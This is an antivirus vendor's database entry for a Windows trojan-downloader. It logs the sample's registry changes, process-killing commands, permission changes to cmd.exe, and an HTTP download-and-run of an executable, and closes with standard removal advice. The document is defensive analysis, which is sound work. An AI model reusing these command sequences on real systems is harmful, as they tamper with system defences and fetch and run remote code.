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Trojan.DownLoader11.22593
Added to the Dr.Web virus database:
2014-07-20
Virus description added:
2014-07-21
Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
[<HKLM>\SOFTWARE\Classes\exefile\shell\open\command] '' = '"%1" %*'
Malicious functions:
To complicate detection of its presence in the operating system,
blocks the following features:
Creates and executes the following:
'C:\ComboFix\nircmd.cfexe' killprocess sed.cfexe
'C:\ComboFix\nircmd.cfexe' killprocess ntvdm.exe
'C:\ComboFix\nircmd.cfexe' killprocess VFind.cfexe
'C:\ComboFix\nircmd.cfexe' killprocess grep.cfexe
'C:\ComboFix\nircmd.cfexe' killprocess teatimer.exe
'C:\ComboFix\swreg.cfexe' add "hklm\software\microsoft\windows\currentversion\app paths\combofix.exe" /ve /d "%TEMP%\combo\ComboFix.exe"
'C:\ComboFix\swreg.cfexe' query "hklm\system\currentcontrolset\control\session manager\environment" /v path
'C:\ComboFix\nircmd.cfexe' killprocess ad-watch.exe
'C:\ComboFix\nircmd.cfexe' killprocess Ad-Watch2007.exe
'C:\ComboFix\nircmd.cfexe' killprocess trayicon.exe
'C:\ComboFix\nircmd.cfexe' killprocess fubcwj.exe
'C:\ComboFix\nircmd.cfexe' killprocess severe.exe
'C:\ComboFix\nircmd.cfexe' killprocess bryato.exe
'C:\ComboFix\nircmd.cfexe' killprocess conime.exe
'C:\ComboFix\nircmd.cfexe' killprocess logo1_.exe
'C:\ComboFix\nircmd.cfexe' killprocess verclsid.dat
'C:\ComboFix\nircmd.cfexe' killprocess flashy.exe
'C:\ComboFix\nircmd.cfexe' killprocess rundl132.exe
'C:\ComboFix\nircmd.cfexe' killprocess OSO.EXE
'C:\ComboFix\sed.cfexe' "/.*\t/!d; s///; s/\x3b/\n/g " path00
'C:\ComboFix\regt.cfexe' /s creg.dat
'%WINDIR%\Nircmd.exe' killprocess Nircmd.cfexe
'C:\ComboFix\swreg.cfexe' delete "hkcu\software\microsoft\windows\currentversion\policies\system" /v "disableregistrytools"
'C:\ComboFix\nircmd.cfexe' cmdwait 5000 killprocess regt.cfexe
'C:\ComboFix\nircmd.cfexe' service manual wmi
'C:\ComboFix\swreg.cfexe' copy "hku\.default\control panel\international" "hku\.default\control panel\international_combofixbackup" /s
'C:\ComboFix\swreg.cfexe' import region.dat
'C:\ComboFix\swreg.cfexe' query "hkcu\control panel\international_combofixbackup"
'C:\ComboFix\swreg.cfexe' copy "hkcu\control panel\international" "hkcu\control panel\international_combofixbackup" /s
'C:\ComboFix\sed.cfexe' "/:\\/!d; s/.*\t//"
'C:\ComboFix\swreg.cfexe' query "hklm\system\currentcontrolset\control\session manager\environment" /v comspec
'C:\ComboFix\grep.cfexe' -iq "REG_EXPAND_SZ %systemroot%\\system32\\cmd.exe$" comspec00
'C:\ComboFix\grep.cfexe' -Fixvf path02 path01
'C:\ComboFix\sed.cfexe' ":a; $!N; s/\n/\x3b/g; ta" path03
'C:\ComboFix\grep.cfexe' -q "Windows XP"
'C:\ComboFix\swreg.cfexe' query hklm\system\currentcontrolset\enum\root\system
'C:\ComboFix\swreg.cfexe' query hkcr\clsid\{9f143c3a-1457-6cca-03a7-7aa23b61e40f}\inprocserver32 /ve
'C:\ComboFix\grep.cfexe' -q "Windows 2000"
'C:\ComboFix\grep.cfexe' -q "currentversion.* 6.0" osVer00
'C:\ComboFix\nircmd.cfexe' killprocess thguard.exe
'C:\ComboFix\nircmd.cfexe' cmdwait 2000 killprocess sed.cfexe
'C:\ComboFix\ListDlls.cfexe' cmd.exe
'C:\ComboFix\grep.cfexe' -Fqi ".CFEXE;"
'C:\ComboFix\nircmd.cfexe' cmdwait 2000 killprocess ListDLLs.cfexe
'C:\ComboFix\sed.cfexe' -r "/.* {14}/!d;s///"
'C:\ComboFix\grep.cfexe' -Fsq \ Foreign.dat
'C:\ComboFix\nircmd.cfexe' service stop catchme
'C:\ComboFix\nircmd.com' killprocess Nircmd.cfexe
'C:\ComboFix\grep.cfexe' -vi "detoured.dll" ForeignA.dat
'C:\ComboFix\grep.cfexe' -Fiq " /Ex-CF "
'C:\ComboFix\nircmd.com' execmd swreg.cfexe import exe.reg
'C:\ComboFix\nircmd.com' exec hide swxcacls.cfexe "<SYSTEM32>\cmd.exe" /p /ga:f /gs:f /gp:x /gu:x /q
'%TEMP%\combo\download.exe' http://do######.bleepingcomputer.com/sUBs/ComboFix.exe
'%TEMP%\combo\ComboFix.exe'
'C:\ComboFix\swxcacls.cfexe' "<SYSTEM32>\cmd.exe" /p /ga:f /gs:f /gp:x /gu:x /q
'C:\ComboFix\swreg.cfexe' query "hklm\software\microsoft\windows nt\currentversion" /v currentversion
'C:\ComboFix\grep.cfexe' -sq "currentversion.* 6.0" osVer00
'C:\ComboFix\swreg.cfexe' import exe.reg
'C:\ComboFix\nircmd.cfexe' win close ititle "ComboFix"
'C:\ComboFix\kmd.exe' /d /c Echo.%debug_log%
'C:\ComboFix\grep.cfexe' -q "10$"
'C:\ComboFix\grep.cfexe' -q "0A$"
'C:\ComboFix\grep.cfexe' -q "16$"
'C:\ComboFix\grep.cfexe' -q "04$"
'C:\ComboFix\swreg.cfexe' query "hklm\system\currentcontrolset\control\nls\codepage" /v oemcp
'C:\ComboFix\nircmd.cfexe' killprocess cftmon.exe
'C:\ComboFix\nircmd.cfexe' killprocess spool.exe
'C:\ComboFix\grep.cfexe' -Evxq "437|708|720|737|775|85[0257]|86[01234569]|874|93[26]|949|950|1258"
'C:\ComboFix\grep.cfexe' -Fiq "/killall"
'C:\ComboFix\grep.cfexe' -q "0B$"
'C:\ComboFix\nircmd.cfexe' abortshutdown
'C:\ComboFix\swreg.cfexe' query "hklm\system\currentcontrolset\control\nls\language" /v installlanguage
'C:\ComboFix\grep.cfexe' -Fisq "/killall"
'C:\ComboFix\grep.cfexe' -Fisq /u
'C:\ComboFix\sed.cfexe' "/.*\t/!d; s///"
'C:\ComboFix\grep.cfexe' -q "13$"
'C:\ComboFix\grep.cfexe' -q "07$"
'C:\ComboFix\mtee.cfexe' NlsLang
'C:\ComboFix\grep.cfexe' -q "0C$"
Executes the following:
'<SYSTEM32>\findstr.exe' -MIF:msnetax00 update_load
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\combo\get_update.bat" "
Injects code into
the following system processes:
Terminates or attempts to terminate
the following user processes:
Modifies file system :
Creates the following files:
Deletes the following files:
C:\ComboFix\osVer00
C:\ComboFix\path02
C:\ComboFix\svchost.vista.dat
C:\ComboFix\netsvc.vista.dat
C:\ComboFix\path01
C:\ComboFix\Comspec.bat
C:\ComboFix\NlsLang
C:\ComboFix\path00
C:\ComboFix\comspec00
Moves the following files:
from C:\ComboFix\netsvc.xp.dat to C:\ComboFix\netsvc.dat
Network activity:
Connects to:
'do######.bleepingcomputer.com':80
TCP:
HTTP GET requests:
do######.bleepingcomputer.com/sUBs/ComboFix.exe
UDP:
DNS ASK do######.bleepingcomputer.com
Miscellaneous:
Searches for the following windows:
ClassName: 'RegEdit_RegEdit' WindowName: '(null)'
ClassName: 'Shell_TrayWnd' WindowName: '(null)'
ClassName: 'EDIT' WindowName: '(null)'
Curing recommendations
Windows
macOS
Linux
Android
If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space .
If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.
If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
Switch off your device and turn it on as normal.
Find out more about Dr.Web for Android
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